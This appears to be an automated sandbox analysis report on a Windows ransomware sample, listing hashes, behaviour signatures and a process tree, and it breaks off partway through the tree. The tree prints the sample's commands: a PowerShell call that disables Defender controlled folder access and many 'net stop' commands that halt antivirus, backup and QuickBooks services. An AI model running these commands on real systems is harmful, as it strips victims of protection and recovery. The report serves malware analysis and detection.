Analysis
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max time kernel
18s -
max time network
19s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
17-08-2024 21:22
Behavioral task
behavioral1
Sample
58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
Resource
win10-20240611-en
Behavioral task
behavioral2
Sample
5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Resource
win10-20240404-en
Behavioral task
behavioral3
Sample
ae66e009e16f0fad3b70ad20801f48f2edb904fa5341a89e126a26fd3fc80f75.exe
Resource
win10-20240404-en
Behavioral task
behavioral4
Sample
c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
Resource
win10-20240404-en
General
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Target
5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
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Size
91KB
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MD5
be60e389a0108b2871dff12dfbb542ac
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SHA1
14b4e0bfac64ec0f837f84ab1780ca7ced8d670d
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SHA256
5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d
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SHA512
6051bec441434a80c34ee2752a3da9c3a0307cd1b551aa27a0f7f6f75b9bf64b172745d80f03eea054a03ebd2c493df21fd48d8fa3b706d46a6f7fee0e7c0641
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SSDEEP
1536:QguHLgeS6umiCp31W4qYXgsLlOqrgB9GpF7LXdarTkCAKL5dsluhtvM4CoLT6QPg:D6seqCp31Hgsp9a9GTrda8CAKLTsWkyI
Malware Config
Signatures
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Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Renames multiple (68) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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Downloads MZ/PE file
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Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe -
pid Process 4984 powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 1 raw.githubusercontent.com 4 raw.githubusercontent.com -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4620 sc.exe 3364 sc.exe 4696 sc.exe 772 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language vssadmin.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language taskkill.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language vssadmin.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language vssadmin.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language vssadmin.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language vssadmin.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language notepad.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language vssadmin.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language vssadmin.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language vssadmin.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language vssadmin.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language vssadmin.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PING.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language fsutil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 1012 cmd.exe 1936 PING.EXE -
Interacts with shadow copies 3 TTPs 14 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 4296 vssadmin.exe 2260 vssadmin.exe 4252 vssadmin.exe 2772 vssadmin.exe 4640 vssadmin.exe 1576 vssadmin.exe 1880 vssadmin.exe 3328 vssadmin.exe 4116 vssadmin.exe 984 vssadmin.exe 1636 vssadmin.exe 2884 vssadmin.exe 4544 vssadmin.exe 4356 vssadmin.exe -
Kills process with taskkill 3 IoCs
pid Process 420 taskkill.exe 4580 taskkill.exe 4044 taskkill.exe -
Opens file in notepad (likely ransom note) 1 IoCs
pid Process 5500 notepad.exe -
Runs net.exe
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Runs ping.exe 1 TTPs 1 IoCs
pid Process 1936 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe Token: SeDebugPrivilege 4984 powershell.exe Token: SeDebugPrivilege 4580 taskkill.exe Token: SeDebugPrivilege 4044 taskkill.exe Token: SeDebugPrivilege 420 taskkill.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe -
Suspicious use of SendNotifyMessage 1 IoCs
pid Process 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2516 wrote to memory of 4984 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 75 PID 2516 wrote to memory of 4984 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 75 PID 2516 wrote to memory of 4984 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 75 PID 2516 wrote to memory of 1928 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 76 PID 2516 wrote to memory of 1928 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 76 PID 2516 wrote to memory of 1928 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 76 PID 2516 wrote to memory of 2928 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 78 PID 2516 wrote to memory of 2928 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 78 PID 2516 wrote to memory of 2928 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 78 PID 2516 wrote to memory of 1328 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 79 PID 2516 wrote to memory of 1328 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 79 PID 2516 wrote to memory of 1328 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 79 PID 2516 wrote to memory of 3048 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 80 PID 2516 wrote to memory of 3048 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 80 PID 2516 wrote to memory of 3048 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 80 PID 2516 wrote to memory of 2236 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 81 PID 2516 wrote to memory of 2236 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 81 PID 2516 wrote to memory of 2236 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 81 PID 2516 wrote to memory of 5016 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 82 PID 2516 wrote to memory of 5016 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 82 PID 2516 wrote to memory of 5016 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 82 PID 2516 wrote to memory of 2780 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 83 PID 2516 wrote to memory of 2780 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 83 PID 2516 wrote to memory of 2780 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 83 PID 2516 wrote to memory of 3076 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 84 PID 2516 wrote to memory of 3076 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 84 PID 2516 wrote to memory of 3076 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 84 PID 2516 wrote to memory of 488 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 85 PID 2516 wrote to memory of 488 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 85 PID 2516 wrote to memory of 488 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 85 PID 2516 wrote to memory of 1784 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 86 PID 2516 wrote to memory of 1784 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 86 PID 2516 wrote to memory of 1784 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 86 PID 2516 wrote to memory of 5080 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 87 PID 2516 wrote to memory of 5080 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 87 PID 2516 wrote to memory of 5080 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 87 PID 2516 wrote to memory of 3640 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 88 PID 2516 wrote to memory of 3640 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 88 PID 2516 wrote to memory of 3640 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 88 PID 2516 wrote to memory of 4236 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 90 PID 2516 wrote to memory of 4236 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 90 PID 2516 wrote to memory of 4236 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 90 PID 2516 wrote to memory of 500 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 91 PID 2516 wrote to memory of 500 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 91 PID 2516 wrote to memory of 500 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 91 PID 2516 wrote to memory of 3376 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 92 PID 2516 wrote to memory of 3376 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 92 PID 2516 wrote to memory of 3376 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 92 PID 2516 wrote to memory of 4804 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 93 PID 2516 wrote to memory of 4804 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 93 PID 2516 wrote to memory of 4804 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 93 PID 2516 wrote to memory of 2420 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 96 PID 2516 wrote to memory of 2420 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 96 PID 2516 wrote to memory of 2420 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 96 PID 2516 wrote to memory of 1100 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 97 PID 2516 wrote to memory of 1100 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 97 PID 2516 wrote to memory of 1100 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 97 PID 2516 wrote to memory of 4748 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 98 PID 2516 wrote to memory of 4748 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 98 PID 2516 wrote to memory of 4748 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 98 PID 2516 wrote to memory of 212 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 99 PID 2516 wrote to memory of 212 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 99 PID 2516 wrote to memory of 212 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 99 PID 2516 wrote to memory of 4168 2516 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 100 -
System policy modification 1 TTPs 2 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1" 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe"C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe"1⤵
- Drops startup file
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2516 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -EnableControlledFolderAccess Disabled2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:4984
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C:\Windows\SysWOW64\net.exe"net.exe" stop avpsus /y2⤵PID:1928
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop avpsus /y3⤵
- System Location Discovery: System Language Discovery
PID:5284
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C:\Windows\SysWOW64\net.exe"net.exe" stop McAfeeDLPAgentService /y2⤵PID:2928
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop McAfeeDLPAgentService /y3⤵PID:5248
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C:\Windows\SysWOW64\net.exe"net.exe" stop mfewc /y2⤵PID:1328
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mfewc /y3⤵
- System Location Discovery: System Language Discovery
PID:5620
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C:\Windows\SysWOW64\net.exe"net.exe" stop BMR Boot Service /y2⤵PID:3048
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BMR Boot Service /y3⤵
- System Location Discovery: System Language Discovery
PID:5748
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C:\Windows\SysWOW64\net.exe"net.exe" stop NetBackup BMR MTFTP Service /y2⤵PID:2236
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y3⤵
- System Location Discovery: System Language Discovery
PID:5948
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C:\Windows\SysWOW64\net.exe"net.exe" stop DefWatch /y2⤵
- System Location Discovery: System Language Discovery
PID:5016 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop DefWatch /y3⤵
- System Location Discovery: System Language Discovery
PID:5456
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C:\Windows\SysWOW64\net.exe"net.exe" stop ccEvtMgr /y2⤵
- System Location Discovery: System Language Discovery
PID:2780 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ccEvtMgr /y3⤵
- System Location Discovery: System Language Discovery
PID:5816
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C:\Windows\SysWOW64\net.exe"net.exe" stop ccSetMgr /y2⤵PID:3076
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ccSetMgr /y3⤵PID:5652
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C:\Windows\SysWOW64\net.exe"net.exe" stop SavRoam /y2⤵
- System Location Discovery: System Language Discovery
PID:488 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SavRoam /y3⤵PID:5796
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C:\Windows\SysWOW64\net.exe"net.exe" stop RTVscan /y2⤵PID:1784
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop RTVscan /y3⤵
- System Location Discovery: System Language Discovery
PID:5932
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C:\Windows\SysWOW64\net.exe"net.exe" stop QBFCService /y2⤵PID:5080
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QBFCService /y3⤵PID:6032
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C:\Windows\SysWOW64\net.exe"net.exe" stop QBIDPService /y2⤵
- System Location Discovery: System Language Discovery
PID:3640 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QBIDPService /y3⤵
- System Location Discovery: System Language Discovery
PID:5868
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C:\Windows\SysWOW64\net.exe"net.exe" stop Intuit.QuickBooks.FCS /y2⤵
- System Location Discovery: System Language Discovery
PID:4236 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y3⤵PID:6124
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C:\Windows\SysWOW64\net.exe"net.exe" stop QBCFMonitorService /y2⤵PID:500
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QBCFMonitorService /y3⤵PID:5660
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C:\Windows\SysWOW64\net.exe"net.exe" stop YooBackup /y2⤵
- System Location Discovery: System Language Discovery
PID:3376 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop YooBackup /y3⤵PID:5264
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C:\Windows\SysWOW64\net.exe"net.exe" stop YooIT /y2⤵
- System Location Discovery: System Language Discovery
PID:4804 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop YooIT /y3⤵
- System Location Discovery: System Language Discovery
PID:5628
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C:\Windows\SysWOW64\net.exe"net.exe" stop zhudongfangyu /y2⤵
- System Location Discovery: System Language Discovery
PID:2420 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop zhudongfangyu /y3⤵
- System Location Discovery: System Language Discovery
PID:5340
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C:\Windows\SysWOW64\net.exe"net.exe" stop stc_raw_agent /y2⤵
- System Location Discovery: System Language Discovery
PID:1100 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop stc_raw_agent /y3⤵
- System Location Discovery: System Language Discovery
PID:5732
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C:\Windows\SysWOW64\net.exe"net.exe" stop VSNAPVSS /y2⤵
- System Location Discovery: System Language Discovery
PID:4748 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VSNAPVSS /y3⤵
- System Location Discovery: System Language Discovery
PID:5724
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C:\Windows\SysWOW64\net.exe"net.exe" stop VeeamTransportSvc /y2⤵
- System Location Discovery: System Language Discovery
PID:212 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamTransportSvc /y3⤵
- System Location Discovery: System Language Discovery
PID:5560
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C:\Windows\SysWOW64\net.exe"net.exe" stop VeeamDeploymentService /y2⤵
- System Location Discovery: System Language Discovery
PID:4168 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamDeploymentService /y3⤵PID:5488
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C:\Windows\SysWOW64\net.exe"net.exe" stop VeeamNFSSvc /y2⤵PID:3160
